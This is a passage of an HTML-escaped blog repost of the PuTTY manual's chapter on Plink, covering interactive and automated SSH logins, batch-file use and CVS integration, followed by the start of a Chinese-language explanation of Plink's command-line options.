available from the Programs section of your Start Menu.&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;In order to use Plink, the file&amp;nbsp;&lt;code&gt;plink.exe&lt;/code&gt;&amp;nbsp;will need either to be on your&amp;nbsp;&lt;a name="i2" style="width: 20px; height: 20px; text-indent: 20px; background-image: url(http://www.cnblogs.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;amp;file=anchor.gif); background-repeat: no-repeat no-repeat; "&gt;&lt;/a&gt;&lt;code&gt;PATH&lt;/code&gt;&amp;nbsp;or in your current directory. To add the directory containing Plink to your&amp;nbsp;&lt;code&gt;PATH&lt;/code&gt;&amp;nbsp;environment variable, type into the console window:&lt;/p&gt;&lt;span style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;&lt;pre&gt;&lt;code&gt;set PATH=C:\path\to\putty\directory;%PATH% &lt;/code&gt;&lt;/pre&gt;&lt;/span&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;This will only work for the lifetime of that particular console window. To set your&amp;nbsp;&lt;code&gt;PATH&lt;/code&gt;&amp;nbsp;more permanently on Windows NT, use the Environment tab of the System Control Panel. On Windows 95, 98, and ME, you will need to edit your&amp;nbsp;&lt;code&gt;AUTOEXEC.BAT&lt;/code&gt;&amp;nbsp;to include a&amp;nbsp;&lt;code&gt;set&lt;/code&gt;&amp;nbsp;command like the one above.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;a name="S7.2" style="width: 20px; height: 20px; text-indent: 20px; background-image: url(http://www.cnblogs.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;amp;file=anchor.gif); background-repeat: no-repeat no-repeat; "&gt;&lt;/a&gt;7.2 Using Plink&lt;/strong&gt;&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;This section describes the basics of how to use Plink for interactive logins and for automated processes.&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;Once you've got a console window to type into, you can just type&amp;nbsp;&lt;code&gt;plink&lt;/code&gt;&amp;nbsp;on its own to bring up a usage message. This tells you the version of Plink you're using, and gives you a brief summary of how to use Plink:&lt;/p&gt;&lt;span style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;&lt;pre&gt;&lt;code&gt;Z:\sysosd&amp;gt;plink PuTTY Link: command-line connection utility Release 0.56 Usage: plink [options] [user@]host [command]        ("host" can also be a PuTTY saved session name) Options:   -V        print version information   -v        show verbose messages   -load sessname  Load settings from saved session   -ssh -telnet -rlogin -raw             force use of a particular protocol   -P port   connect to specified port   -l user   connect with specified username   -m file   read remote command(s) from file   -batch    disable all interactive prompts The following options only apply to SSH connections:   -pw passw login with specified password   -D [listen-IP:]listen-port             Dynamic SOCKS-based port forwarding   -L [listen-IP:]listen-port:host:port             Forward local port to remote address   -R [listen-IP:]listen-port:host:port             Forward remote port to local address   -X -x     enable / disable X11 forwarding   -A -a     enable / disable agent forwarding   -t -T     enable / disable pty allocation   -1 -2     force use of particular protocol version   -C        enable compression   -i key    private key file for authentication   -s        remote command is an SSH subsystem (SSH-2 only)   -N        don't start a shell/command (SSH-2 only) &lt;/code&gt;&lt;/pre&gt;&lt;/span&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;Once this works, you are ready to use Plink.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;a name="S7.2.1" style="width: 20px; height: 20px; text-indent: 20px; background-image: url(http://www.cnblogs.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;amp;file=anchor.gif); background-repeat: no-repeat no-repeat; "&gt;&lt;/a&gt;7.2.1 Using Plink for interactive logins&lt;/strong&gt;&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;To make a simple interactive connection to a remote server, just type&amp;nbsp;&lt;code&gt;plink&lt;/code&gt;&amp;nbsp;and then the host name:&lt;/p&gt;&lt;span style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;&lt;pre&gt;&lt;code&gt;Z:\sysosd&amp;gt;plink login.example.com  Debian GNU/Linux 2.2 flunky.example.com flunky login: &lt;/code&gt;&lt;/pre&gt;&lt;/span&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;You should then be able to log in as normal and run a session. The output sent by the server will be written straight to your command prompt window, which will most likely not interpret terminal control codes in the way the server expects it to. So if you run any full-screen applications, for example, you can expect to see strange characters appearing in your window. Interactive connections like this are not the main point of Plink.&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;In order to connect with a different protocol, you can give the command line options&amp;nbsp;&lt;code&gt;-ssh&lt;/code&gt;,&amp;nbsp;&lt;code&gt;-telnet&lt;/code&gt;,&amp;nbsp;&lt;code&gt;-rlogin&lt;/code&gt;&amp;nbsp;or&amp;nbsp;&lt;code&gt;-raw&lt;/code&gt;. To make an SSH connection, for example:&lt;/p&gt;&lt;span style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;&lt;pre&gt;&lt;code&gt;Z:\sysosd&amp;gt;plink -ssh login.example.com login as: &lt;/code&gt;&lt;/pre&gt;&lt;/span&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;If you have already set up a PuTTY saved session, then instead of supplying a host name, you can give the saved session name. This allows you to use public-key authentication, specify a user name, and use most of the other features of PuTTY:&lt;/p&gt;&lt;span style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;&lt;pre&gt;&lt;code&gt;Z:\sysosd&amp;gt;plink my-ssh-session Sent username "fred" Authenticating with public key "fred@winbox" Last login: Thu Dec  6 19:25:33 2001 from :0.0 fred@flunky:~$ &lt;/code&gt;&lt;/pre&gt;&lt;/span&gt;&lt;p&gt;&lt;strong&gt;&lt;a name="S7.2.2" style="width: 20px; height: 20px; text-indent: 20px; background-image: url(http://www.cnblogs.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;amp;file=anchor.gif); background-repeat: no-repeat no-repeat; "&gt;&lt;/a&gt;7.2.2 Using Plink for automated connections&lt;/strong&gt;&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;More typically Plink is used with the SSH protocol, to enable you to talk directly to a program running on the server. To do this you have to ensure Plink is&amp;nbsp;&lt;em&gt;using&lt;/em&gt;&amp;nbsp;the SSH protocol. You can do this in several ways:&lt;/p&gt;&lt;ul style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;&lt;li&gt;Use the&amp;nbsp;&lt;code&gt;-ssh&lt;/code&gt;&amp;nbsp;option as described in&amp;nbsp;&lt;a href="http://www.cs.kuleuven.be/system/security/ssh/introduction/putty/doc/Chapter7.html#S7.2.1"&gt;section 7.2.1&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Set up a PuTTY saved session that describes the server you are connecting to, and that also specifies the protocol as SSH.&lt;/li&gt;&lt;li&gt;Set the Windows environment variable&amp;nbsp;&lt;code&gt;PLINK_PROTOCOL&lt;/code&gt;&amp;nbsp;to the word&amp;nbsp;&lt;code&gt;ssh&lt;/code&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;Usually Plink is not invoked directly by a user, but run automatically by another process. Therefore you typically do not want Plink to prompt you for a user name or a password.&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;Next, you are likely to need to avoid the various interactive prompts Plink can produce. You might be prompted to verify the host key of the server you're connecting to, to enter a user name, or to enter a password.&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;To avoid being prompted for the server host key when using Plink for an automated connection, you should first make a&lt;em&gt;manual&lt;/em&gt;&amp;nbsp;connection (using either of PuTTY or Plink) to the same server, verify the host key (see&amp;nbsp;&lt;a href="http://www.cs.kuleuven.be/system/security/ssh/introduction/putty/doc/Chapter2.html#S2.2"&gt;section 2.2&lt;/a&gt;&amp;nbsp;for more information), and select Yes to add the host key to the Registry. After that, Plink commands connecting to that server should not give a host key prompt unless the host key changes.&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;To avoid being prompted for a user name, you can:&lt;/p&gt;&lt;ul style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;&lt;li&gt;Use the&amp;nbsp;&lt;code&gt;-l&lt;/code&gt;&amp;nbsp;option to specify a user name on the command line. For example,&amp;nbsp;&lt;code&gt;plink login.example.com -l fred&lt;/code&gt;.&lt;/li&gt;&lt;li&gt;Set up a PuTTY saved session that describes the server you are connecting to, and that also specifies the username to log in as (see&amp;nbsp;&lt;a href="http://www.cs.kuleuven.be/system/security/ssh/introduction/putty/doc/Chapter4.html#S4.13.3"&gt;section 4.13.3&lt;/a&gt;).&lt;/li&gt;&lt;/ul&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;To avoid being prompted for a password, you should almost certainly set up public-key authentication. (See&amp;nbsp;&lt;a href="http://www.cs.kuleuven.be/system/security/ssh/introduction/putty/doc/Chapter8.html#C8"&gt;chapter 8&lt;/a&gt;&amp;nbsp;for a general introduction to public-key authentication.) Again, you can do this in two ways:&lt;/p&gt;&lt;ul style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;&lt;li&gt;Set up a PuTTY saved session that describes the server you are connecting to, and that also specifies a private key file (see&amp;nbsp;&lt;a href="http://www.cs.kuleuven.be/system/security/ssh/introduction/putty/doc/Chapter4.html#S4.18.5"&gt;section 4.18.5&lt;/a&gt;). For this to work without prompting, your private key will need to have no passphrase.&lt;/li&gt;&lt;li&gt;Store the private key in Pageant. See&amp;nbsp;&lt;a href="http://www.cs.kuleuven.be/system/security/ssh/introduction/putty/doc/Chapter9.html#C9"&gt;chapter 9&lt;/a&gt;&amp;nbsp;for further information.&lt;/li&gt;&lt;/ul&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;Once you have done all this, you should be able to run a remote command on the SSH server machine and have it execute automatically with no prompting:&lt;/p&gt;&lt;span style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;&lt;pre&gt;&lt;code&gt;Z:\sysosd&amp;gt;plink login.example.com -l fred echo hello, world hello, world  Z:\sysosd&amp;gt; &lt;/code&gt;&lt;/pre&gt;&lt;/span&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;Or, if you have set up a saved session with all the connection details:&lt;/p&gt;&lt;span style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;&lt;pre&gt;&lt;code&gt;Z:\sysosd&amp;gt;plink mysession echo hello, world hello, world  Z:\sysosd&amp;gt; &lt;/code&gt;&lt;/pre&gt;&lt;/span&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;Then you can set up other programs to run this Plink command and talk to it as if it were a process on the server machine.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;a name="S7.2.3" style="width: 20px; height: 20px; text-indent: 20px; background-image: url(http://www.cnblogs.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;amp;file=anchor.gif); background-repeat: no-repeat no-repeat; "&gt;&lt;/a&gt;7.2.3 Plink command line options&lt;/strong&gt;&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;Plink accepts all the general command line options supported by the PuTTY tools. See&amp;nbsp;&lt;a href="http://www.cs.kuleuven.be/system/security/ssh/introduction/putty/doc/Chapter3.html#S3.7.3"&gt;section 3.7.3&lt;/a&gt;&amp;nbsp;for a description of these options.&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;Plink also supports some of its own options. The following sections describe Plink's specific command-line options.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;a name="S7.2.3.1" style="width: 20px; height: 20px; text-indent: 20px; background-image: url(http://www.cnblogs.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;amp;file=anchor.gif); background-repeat: no-repeat no-repeat; "&gt;&lt;/a&gt;7.2.3.1&amp;nbsp;&lt;code&gt;-batch&lt;/code&gt;: disable all interactive prompts&lt;/strong&gt;&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;If you use the&amp;nbsp;&lt;code&gt;-batch&lt;/code&gt;&amp;nbsp;option, Plink will never give an interactive prompt while establishing the connection. If the server's host key is invalid, for example (see&amp;nbsp;&lt;a href="http://www.cs.kuleuven.be/system/security/ssh/introduction/putty/doc/Chapter2.html#S2.2"&gt;section 2.2&lt;/a&gt;), then the connection will simply be abandoned instead of asking you what to do next.&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;This may help Plink's behaviour when it is used in automated scripts: using&amp;nbsp;&lt;code&gt;-batch&lt;/code&gt;, if something goes wrong at connection time, the batch job will fail rather than hang.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;a name="S7.2.3.2" style="width: 20px; height: 20px; text-indent: 20px; background-image: url(http://www.cnblogs.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;amp;file=anchor.gif); background-repeat: no-repeat no-repeat; "&gt;&lt;/a&gt;7.2.3.2&amp;nbsp;&lt;code&gt;-s&lt;/code&gt;: remote command is SSH subsystem&lt;/strong&gt;&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;If you specify the&amp;nbsp;&lt;code&gt;-s&lt;/code&gt;&amp;nbsp;option, Plink passes the specified command as the name of an SSH &amp;#255;subsystem&amp;#255; rather than an ordinary command line.&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;(This option is only meaningful with the SSH-2 protocol.)&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;a name="S7.3" style="width: 20px; height: 20px; text-indent: 20px; background-image: url(http://www.cnblogs.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;amp;file=anchor.gif); background-repeat: no-repeat no-repeat; "&gt;&lt;/a&gt;7.3 Using Plink in&amp;nbsp;&lt;a name="i3" style="width: 20px; height: 20px; text-indent: 20px; background-image: url(http://www.cnblogs.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;amp;file=anchor.gif); background-repeat: no-repeat no-repeat; "&gt;&lt;/a&gt;batch files and&amp;nbsp;&lt;a name="i4" style="width: 20px; height: 20px; text-indent: 20px; background-image: url(http://www.cnblogs.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;amp;file=anchor.gif); background-repeat: no-repeat no-repeat; "&gt;&lt;/a&gt;scripts&lt;/strong&gt;&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;Once you have set up Plink to be able to log in to a remote server without any interactive prompting (see&amp;nbsp;&lt;a href="http://www.cs.kuleuven.be/system/security/ssh/introduction/putty/doc/Chapter7.html#S7.2.2"&gt;section 7.2.2&lt;/a&gt;), you can use it for lots of scripting and batch purposes. For example, to start a backup on a remote machine, you might use a command like:&lt;/p&gt;&lt;span style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;&lt;pre&gt;&lt;code&gt;plink root@myserver /etc/backups/do-backup.sh &lt;/code&gt;&lt;/pre&gt;&lt;/span&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;Or perhaps you want to fetch all system log lines relating to a particular web area:&lt;/p&gt;&lt;span style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;&lt;pre&gt;&lt;code&gt;plink mysession grep /~fred/ /var/log/httpd/access.log &amp;gt; fredlog &lt;/code&gt;&lt;/pre&gt;&lt;/span&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;Any non-interactive command you could usefully run on the server command line, you can run in a batch file using Plink in this way.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;a name="S7.4" style="width: 20px; height: 20px; text-indent: 20px; background-image: url(http://www.cnblogs.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;amp;file=anchor.gif); background-repeat: no-repeat no-repeat; "&gt;&lt;/a&gt;7.4 Using Plink with&amp;nbsp;&lt;a name="i5" style="width: 20px; height: 20px; text-indent: 20px; background-image: url(http://www.cnblogs.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;amp;file=anchor.gif); background-repeat: no-repeat no-repeat; "&gt;&lt;/a&gt;CVS&lt;/strong&gt;&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;To use Plink with CVS, you need to set the environment variable&amp;nbsp;&lt;code&gt;CVS_RSH&lt;/code&gt;&amp;nbsp;to point to Plink:&lt;/p&gt;&lt;span style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;&lt;pre&gt;&lt;code&gt;set CVS_RSH=\path\to\plink.exe &lt;/code&gt;&lt;/pre&gt;&lt;/span&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;You also need to arrange to be able to connect to a remote host without any interactive prompts, as described in&amp;nbsp;&lt;a href="http://www.cs.kuleuven.be/system/security/ssh/introduction/putty/doc/Chapter7.html#S7.2.2"&gt;section 7.2.2&lt;/a&gt;.&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;You should then be able to run CVS as follows:&lt;/p&gt;&lt;span style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;&lt;pre&gt;&lt;code&gt;cvs -d :ext:user@sessionname:/path/to/repository co module &lt;/code&gt;&lt;/pre&gt;&lt;/span&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;If you specified a username in your saved session, you don't even need to specify the &amp;#255;user&amp;#255; part of this, and you can just say:&lt;/p&gt;&lt;span style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;&lt;pre&gt;&lt;code&gt;cvs -d :ext:sessionname:/path/to/repository co module &lt;/code&gt;&lt;/pre&gt;&lt;/span&gt;&lt;p&gt;&lt;strong&gt;&lt;a name="S7.5" style="width: 20px; height: 20px; text-indent: 20px; background-image: url(http://www.cnblogs.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;amp;file=anchor.gif); background-repeat: no-repeat no-repeat; "&gt;&lt;/a&gt;7.5 Using Plink with&amp;nbsp;&lt;a name="i6" style="width: 20px; height: 20px; text-indent: 20px; background-image: url(http://www.cnblogs.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;amp;file=anchor.gif); background-repeat: no-repeat no-repeat; "&gt;&lt;/a&gt;WinCVS&lt;/strong&gt;&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;Plink can also be used with WinCVS. Firstly, arrange for Plink to be able to connect to a remote host non-interactively, as described in&amp;nbsp;&lt;a href="http://www.cs.kuleuven.be/system/security/ssh/introduction/putty/doc/Chapter7.html#S7.2.2"&gt;section 7.2.2&lt;/a&gt;.&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;Then, in WinCVS, bring up the &amp;#255;Preferences&amp;#255; dialogue box from the&amp;nbsp;&lt;em&gt;Admin&lt;/em&gt;&amp;nbsp;menu, and switch to the &amp;#255;Ports&amp;#255; tab. Tick the box there labelled &amp;#255;Check for an alternate&amp;nbsp;&lt;code&gt;rsh&lt;/code&gt;&amp;nbsp;name&amp;#255; and in the text entry field to the right enter the full path to&amp;nbsp;&lt;code&gt;plink.exe&lt;/code&gt;. Select &amp;#255;OK&amp;#255; on the &amp;#255;Preferences&amp;#255; dialogue box.&lt;/p&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;Next, select &amp;#255;Command Line&amp;#255; from the WinCVS &amp;#255;Admin&amp;#255; menu, and type a CVS command as in&amp;nbsp;&lt;a href="http://www.cs.kuleuven.be/system/security/ssh/introduction/putty/doc/Chapter7.html#S7.4"&gt;section 7.4&lt;/a&gt;, for example:&lt;/p&gt;&lt;span style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;&lt;pre&gt;&lt;code&gt;cvs -d :ext:user@hostname:/path/to/repository co module &lt;/code&gt;&lt;/pre&gt;&lt;/span&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;or (if you're using a saved session):&lt;/p&gt;&lt;span style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;&lt;pre&gt;&lt;code&gt;cvs -d :ext:user@sessionname:/path/to/repository co module &lt;/code&gt;&lt;/pre&gt;&lt;/span&gt;&lt;p style="font-family: Simsun; line-height: normal; font-size: medium; "&gt;Select the folder you want to check out to with the &amp;#255;Change Folder&amp;#255; button, and click &amp;#255;OK&amp;#255; to check out your module. Once you've got modules checked out, WinCVS will happily invoke plink from the GUI for CVS operations.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;span style="color: #9a9a9a; font-family: arial; font-size: 12px; line-height: 18px; "&gt;&lt;p&gt;&lt;strong&gt;用 Plink 更方便快捷的执行远程主机上的命令&lt;/strong&gt;&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #6d6d6d; line-height: 26px; "&gt;Plink 是 PuTTY 的命令行连接工具，主要用于自动化工作的处理。&lt;br /&gt;直接在控制台执行 plink，可以看到 Plink 的帮助&lt;/p&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;C:\&amp;gt;plink&lt;br /&gt;PuTTY Link: command-line connection utility&lt;br /&gt;Release 0.58&lt;br /&gt;Usage: plink [options] [user@]host [command]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ("host" can also be a PuTTY saved session name)&lt;br /&gt;Options:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -V&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print version information and exit&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -pgpfp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print PGP key fingerprints and exit&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -v&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; show verbose messages&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -load sessname&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Load settings from saved session&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -ssh -telnet -rlogin -raw&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; force use of a particular protocol&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -P port&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; connect to specified port&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -l user&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; connect with specified username&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -batch&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; disable all interactive prompts&lt;br /&gt;The following options only apply to SSH connections:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -pw passw login with specified password&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -D [listen-IP:]listen-port&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dynamic SOCKS-based port forwarding&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -L [listen-IP:]listen-port:host:port&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Forward local port to remote address&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -R [listen-IP:]listen-port:host:port&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Forward remote port to local address&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -X -x&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; enable / disable X11 forwarding&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -A -a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; enable / disable agent forwarding&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -t -T&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; enable / disable pty allocation&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -1 -2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; force use of particular protocol version&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -4 -6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; force use of IPv4 or IPv6&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -C&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; enable compression&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -i key&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private key file for authentication&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -m file&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; read remote command(s) from file&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -s&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; remote command is an SSH subsystem (SSH-2 only)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -N&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; don't start a shell/command (SSH-2 only)&lt;br /&gt;&lt;br /&gt;C:\&amp;gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #6d6d6d; line-height: 26px; "&gt;看上去 Plink 的使用方法、参数与PSCP、PSFTP都很类似。&lt;/p&gt;&lt;ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; "&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; "&gt;-P port 指定服务器的 SSH 端口，注意这个是大写字母 P，默认是 -P 22，如果主机的 SSH 端口就是 22，就不用指定了&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; "&gt;-l user 指定以哪个用户的身份登录主机，如果没有指定，则 PSCP 会在 PuTTY 保存的同名 Session 中获得默认的用户名称。用户名称也可以和主机名称写在一起，用 @ 分割开，比如：username@server&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; "&gt;-pw passwd 指定登录时所用的口令为 passwd&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; "&gt;-i 